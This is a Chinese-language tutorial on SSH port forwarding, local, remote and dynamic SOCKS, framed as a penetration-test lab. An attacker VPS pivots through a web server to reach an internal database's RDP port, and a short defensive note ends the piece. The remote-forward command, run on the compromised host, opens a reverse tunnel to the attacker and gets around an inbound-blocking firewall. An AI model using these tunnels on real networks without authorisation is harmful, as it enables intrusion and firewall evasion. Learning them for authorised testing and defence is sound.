摘要: 应用层中的隧道技术主要应用软件提供的端口来发送数据。常用的隧道技术协议有SSH,HTTP/HTTPS以及DNS
应用层中的隧道技术主要应用软件提供的端口来发送数据。常用的隧道技术协议有SSH,HTTP/HTTPS以及DNS
一个普通的SSH命令如下:
ssh root@192.168.1.1
常见命令如下:
-C:压缩传输,提高传输速度
-f:将SSH传输转入后台执行,不占用当前的Shell
-N:建立静默连接(建立了连接,但是看不到具体会话)
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
实验环境
攻击者VPS(192.168.1.76)
内网中有:
web服务器(外网IP:192.168.1.26 内网IP:172.168.1.16)
数据库服务器(IP:172.168.1.18)
外部VPS能访问web服务器,但是无法访问数据库服务器,数据库服务器和web服务器能够互相访问。
目标:以web服务器为跳板,访问数据库服务器的3389端口
以web服务器为跳板,将数据库服务器的3389端口,映射到VPS的1153端口,然后访问VPS的1153端口。
在VPS中执行如下命令
ssh -CfNg -L 1153(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.26(跳板机)
执行以下命令查看本地1153端口是否连接
netstat -tulnp | grep "1153"
可以看到,在进行本地映射时,本地SSH进程会监听1153端口
执行如下命令,在本地系统中访问VPS的1153端口,可以看到本地的1153端口已与数据库服务器的3389端口建立联系了。
rdesktop 127.0.0.1:1153
SSH进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口;
本地端口转发则是在本地监听一个端口,所有访问这个端口的数据都会通过SSH隧道传输到远端的对应端口
换言之:当本机(192.168.1.76)打算连接本机的1153端口时(rdesktop 127.0.0.1:1153),这时候请求会通过ssh协议发送至web服务器(192.168.1.26),然后在web服务器(172.168.1.16)这台机子上解封装,形成远程桌面连接的流量,发送至数据库服务器(172.168.1.18)。
可以看一下各机器的端口使用情况
VPS:
VPS上的随机端口与Web服务器的22号端口连接
Web服务器:
可以看到这里的web服务器的内网也是开了一个随机端口与数据库服务器的3389端口相连接
数据库服务器:
数据库服务器的3389端口是和web服务器的随机端口连接的
本地端口转发中将VPS作为客户机,跳板机(web服务器)作为服务器。
故而本地转发是将本地机(客户机)的某个端口转发到远端指定机器的指定端口,也就是将VPS中执行的rdesktop 127.0.0.1:1153
转发到目标主机的3389端口。
因为在实际企业环境中,一般防火墙都是只允许出,不允许进的状态。
攻击者VPS(192.168.1.76)
内网中有:
web服务器(内网IP:172.168.1.16)
数据库服务器(内网IP:172.168.1.18)
外部VPS不能访问内网中的任何机器。web服务器能够访问外部vps。数据库服务器无法访问外部VPS
目标:通过外部VPS访问数据库服务器的3389端口
以web服务器为跳板,将VPS(192.168.1.76)的3307端口的流量转发到数据库服务器(172.168.1.18)的3389端口,然后访问VPS的3307端口,就可以访问数据库服务器的3389端口
在Web服务器上执行如下命令:
ssh -CfNg -R 3307(VPS端口):172.168.1.18(目标主机):3389(目标端口) root@192.168.1.76
然后在VPS上执行如下命令:
rdesktop 127.0.0.1:3307
可以看一下各机器的端口使用情况
VPS此时是作为SSH服务中的服务端,VPS中开启22号端口,由内网出来的流量将会通过防火墙的随机端口,发送至VPS的22号端口。向本地的3307端口发出远程桌面连接的流量将会通过22号端口以应答的形式发送给web服务器。
Web服务器是可以访问外网VPS的,所以此时web服务器的随机端口将会将会以客户机的形式去连接VPS(此时充当服务器)的22号端口。web服务器起到转发的功能,开启一个随机端口,将vps中执行的rdesktop 127.0.0.1:3307
的流量转发至目标主句的3389端口。
远程端口转发是在远程主机上监听一个端口,所有远程服务器指定的数据都会通过SSH隧道传输到本地指定主机的对应端口
在内网中的Web服务器。我们去监听VPS的3307端口,由3307端口发出的数据都会通过由Web服务器与VPS的ssh服务器建立的隧道转发到数据库服务器的3389端口。
参考文章:ssh 本地转发 和远程转发 区别
(1)本地转发是将本地机(客户机)的某个端口转发到远端指定机器的指定端口;远程转发是将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
(2)应用场景不同:
1.本地转发:
A能访问B,B能访问C
A不能访问C
A通过本机端口,以B的名义访问C
2.远程转发
环境和目的 与 本地端口转发是一样的,这里只是不在本地服务器A上执行命令,而是在中间服务器B上执行;
为什么不直接在服务器A自己身上执行命令呢?这个场景有别于本地端口转发的地方在于A不能主动连接B但反之可以,比如A在外网,B在内网;
而A去访问的时候,同样都是通过自己的IP和端口,同样首先建立AB之间的SSH通道,以服务器B的名义来访问目标服务器C。
测试环境和本地端口转发一致
区别在于本地和远程端口转发都限定了目标服务器以及目标服务器的端口。而动态端口转发,A把B作为自己的全权代理,不限定目标服务器及其端口。A和代理服务器B之间的所有连接都是基于加密的SSH
在VPS上执行如下命令建立动态的SOCKS 4/5代理通道,输入web服务器的密码
ssh -CfNg -D 7000 root@192.168.1.26
接着在浏览器中设置
这个操作就是vpn的原理
在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH,以及设置系统完全使用带外管理等方法,都可以避免这一问题。